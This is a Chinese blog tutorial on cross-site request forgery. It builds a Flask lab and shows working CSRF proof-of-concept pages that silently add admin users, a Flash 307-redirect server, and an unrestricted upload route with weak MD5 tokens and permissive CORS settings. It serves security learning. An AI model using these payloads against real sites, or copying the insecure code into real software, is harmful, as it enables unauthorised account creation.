淘先锋技术网

首页 1 2 3 4 5 6 7

想必大家对CSRF并不陌生,英文全名叫Cross-site request forgery,翻译过来就是跨站点请求伪造。简单的理解就是从B站点来请求A站点的某个动作。

这里最最关键的因素是令牌。用户在A站点登陆成功后,服务端颁发令牌并存储到浏览器中。客户端存储令牌方式主要2种:Cookie、localstorage

只有令牌存储在Cookie中才能利用CSRF,至于为什么到后面再讲。


首先我先演示一下第一种场景:MVC架构,站点:api.hack.me

Controller层代码如下

@app.route('/login_cookie_form',methods=["POST","GET"])
def login_cookie_form():
    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get('password')
        print(username,password)
        token = hashlib.new('md5', password.encode('utf-8')).hexdigest()
        try:
            res = make_response('set-cookie')
            res.set_cookie("user",token,samesite=None,secure=True)
            return res
        except Exception as e:
            print(e)
    return render_template('login_cookie.html')

View层代码如下

<html>
<head>
    <title>Login Form</title>
    <form action="/login_cookie_form" method="post">
        用户名:<input type="text" name="username">
        密码:<input type="password" name="password">
        <button type="submit">点击登陆</button>
    </form>
</head>
</html>

登陆成功后, 服务端给客户端颁发令牌,存储到浏览器Cookie中,Domain为api.hack.me 

 

可以看到添加成功了,那么接下来可以实施CSRF攻击了

这里攻击者构造了一个页面 http://attack.me/fake_add_user_form

页面内容如下

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://api.hack.me/admin/add_user_form" method="POST">
      <input type="hidden" name="username" value="helloworld" />
      <input type="hidden" name="password" value="123456" />
      <input type="hidden" name="role" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

这里注意关键点,Origin:http://attack.me和Cookie。

http://attack.me 向 http://api.hack.me/admin/add_user_form发起一个请求,请求会自动携带上api.hack.me的Cookie

这里的根本原因是form方式不受同源策略的限制,所以可以跨域成功请求。

然而,MVC模式已经逐渐被前后端分离模式取代,而前后端分离提交数据的方式以JSON方式为主。


接下来演示一下前后端分离模式,前端:hack.me, 后端api.hack.me

说到前后端分离,不得不说一下令牌的存储方式。第一种存储到客户端的Cookie中,第二中存储到LocalStorage中。存储到Cookie中大部分是基于浏览器作为客户端的业务,存储到LocalStorage大部分是基于APP或者小程序内置的LocalStorage。

Cookie和localStorage的区别在于,用户访问同源站点的时候,Cookie会默认携带发送给服务端,而localStorage不会。

简单的说,客户端发送请求的时候,不需在请求中设置Cookie,请求过程会自动从客户端Cookie中获取。而令牌存储在localStorage中,客户端需要先从localstorage中获取令牌,并添加到请求头中。

axios({
    url:"http://api.hack.me/admin/add_user_json",
    method:'post',
    data: {"username":"minzhizhou","password":"123456","role":1},
    headers:{'token':localStorage.getItem('token')}
})

CSRF漏洞正是利用了Cookie的这一特性。

我们来看下前端以Json方式提交数据,并且通过Cookie传递令牌

前端先请求登陆接口,这里需要设置withCredentials=true,允许携带认证信息(Cookie、Authorazation)之类的

import axios from 'axios'
axios.defaults.withCredentials=true
login_cookie(){
    axios({
        url:"http://api.hack.me/login_cookie",
        method: 'post',
        data: {
    username: this.username,
    password: this.password,
        },
})

后端获取进行身份验证,生成令牌并通过set-cookie响应给浏览器,浏览器存储Cookie

@app.route('/login_cookie',methods=["POST","GET"])
def login_cookie():
    if request.method == "POST":
        data = request.json
        username = data.get("username")
        password = data.get('password')
        token = hashlib.new('md5', password.encode('utf-8')).hexdigest()
        try:
            res = make_response('set-cookie')
            res.set_cookie("user",token)
            return res
        except Exception as e:
            print(e)

前端登陆选择Cookie登陆

这里提示CORS MIssing Allow Origin,这是因为浏览器同源策略机制。跨域请求中,分为简单请求和复杂请求,还不了解的兄弟可以看一下跨域之cors--简单请求、复杂请求_七彩冰淇淋与藕汤的博客-CSDN博客_cors 简单请求

大部分前后端分离的项目,前端都是发起复杂请求的。Content-Type:application/json,或者有自定义的Header头都属于复杂请求。

同源策略要求复杂请求必须先进行预检(OPTIONS)请求,预检通过了才能进行POST请求。

预检请求会询问服务端:允许的请求源,是否允许携带Cookie,允许的请求方式(POST、PUT、DELETE等),允许的Header头字段

可以通过Nginx设置,也可以通过服务端程序设置。

add_header 'Access-Control-Allow-Origin' '*' always;
add_header 'Access-Control-Allow-Methods' '*';
add_header 'Access-Control-Allow-Credentials' 'true';
add_header 'Access-Control-Allow-Headers' '*';

可以看到Nginx设置已经生效,但这里还是预检不通过。firefox提示:CORS No Allow Credentials,这里提示的还不够详细。就简单的告诉你cors不允许携带认证信息。

chrome就比较人性化了,告诉你预检不通过的原因,并建议你怎么做。意思就是当后端允许credentails的时候,不允许allow-origin设置成*

所以Nginx里改下设置 

add_header 'Access-Control-Allow-Origin' $http_origin;

我前端重新发起请求,再次预检失败。这次的提示是后端不允许content-type的请求头。我上面已经在nginx中设置了add_header 'Access-Control-Allow-Headers' '*',按道理来说是允许全部的请求头的,估计是这里的*不包含content-type吧。

add_header 'Access-Control-Allow-Headers' '*,content-type'

这下终于预检通过了,并且后端将cookie响应给了浏览器。

我们先来试一下添加用户的功能

前端发起请求 

import axios from 'axios'
axios.defaults.withCredentials=true
axios({
    url:"http://api.hack.me/admin/add_user_json",
    method:'post',
    data: {"username":"minzhizhou","password":"123456","role":1},
})

后端接收请求信息并处理

@app.route('/admin/add_user_json',methods=["POST"])
@cookie_logined
def add_user():
    data = request.json
    username = data.get('username')
    password = data.get('password')
    role = data.get('role')
    try:
        user = User(username=username,password=password,role=role)
        db.session.add(user)
        db.session.commit()
        return {"msg":"success"}
    except Exception as e:
        print(e)

可以看到,前端跨域请求后端添加用户的接口,成功添加用户


接下来试试能不能CSRF攻击:http://attack.me/csrf_json

<html>
<title>CSRF Exploit POC by RootSploit</title>

<body>
    <script>
        function JSON_CSRF() {
            fetch('http://api.hack.me/admin/add_user_json', { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/json' }, body: '{"username":"asdsa1d","password":"1231456","role":1}' });
        }
    </script>
    <button onclick="JSON_CSRF()">Exploit CSRF</button>
</body>

</html>

可以看到,虽然预检通过了,但是POST请求中并没有携带Cookie,这其实是Cookie的作用域机制。在api.hack.me获取cookie后,用户请求hack.me下的其他子域名都会携带这个cookie

attack.me和hack.me不是同个域名, 所以当然就无法获取hack.me的cookie了。为了验证猜想,我将attack.me改成attack.hack.me

可以看到,源http://attack.hack.me携带了Cookie,请求api.hack.me/admin/add_user_json,添加用户成功。


最后总结一下,存在CSRF漏洞几种情况

第一种

前后端不分离模式,提交数据用form方式,表单页面没有CSRF_TOKEN

第二种

前后端分离模式,提交数据为json格式,但是后端不强行校验Content-type: application/json,比如下面这种情况

第三种

前后端分离模式,后端强行校验content-type: application/json, 且通过Cookie方式进行身份认证。这种情况利用CSRF,必须将攻击代码部署或上传到目标站点所在的任一子域名下。

这个一般和文件上传漏洞结合利用。

比如attack.hack.me有个上传功能未做限制,可以上传html和js文件。

@app.route('/upload',methods=['GET','POST'])
def upload():
    if request.method == 'POST':
        f =request.files['file']
        file_name = datetime.now().strftime('%Y%m%d%H%M%S%f')
        suffix = f.filename.rsplit('.',1)[1]
        new_file_name = file_name+'.'+suffix
        f.save(os.path.join(app.config['UPLOAD_FOLDER'],new_file_name))

        filename_url = app.config['UPLOAD_FOLDER']+ new_file_name
        return {"code":200,"data":{"file":filename_url}}

    else:

        return render_template('upload.html')

 

针对第三种情况,看网上说还有一种方法,利用swf将数据通过json方式转发给attack.com/csrf_hack, 然后csrf_hack 307携带数据重定向到目标请求。

首先编写恶意的as文件,然后用adobe flex编译成swf,然后部署到一台公网的服务器上。

利用脚本:https://github.com/appsecco/json-flash-csrf-poc

HOST = ''
PORT = 9090

class RedirectHandler(BaseHTTPRequestHandler):
    def do_POST(s):
       # dir(s)
        if s.path == '/csrf.swf':
           s.send_response(200)
           s.send_header("Content-Type","application/x-shockwave-flash")
           s.end_headers()
           s.wfile.write(open("csrf.swf", "rb").read())
           return
        s.send_response(307)
        s.send_header("Location", "https://api.itner.net/admin/add_user_json")
        s.end_headers()
    def do_GET(s):
        print(s.path)
        s.do_POST()

 

这里确实是做了307跳转了,但是跳转之后为啥是GET请求?307跳转默认是GET请求吗?有大佬知道的麻烦解释一下。

最后,我把靶场部署在了云上,前端https://itner.net, 后端https://api.itner.net,上传功能在https://attack.itner.net,想练手的小伙伴可以直接上手测试。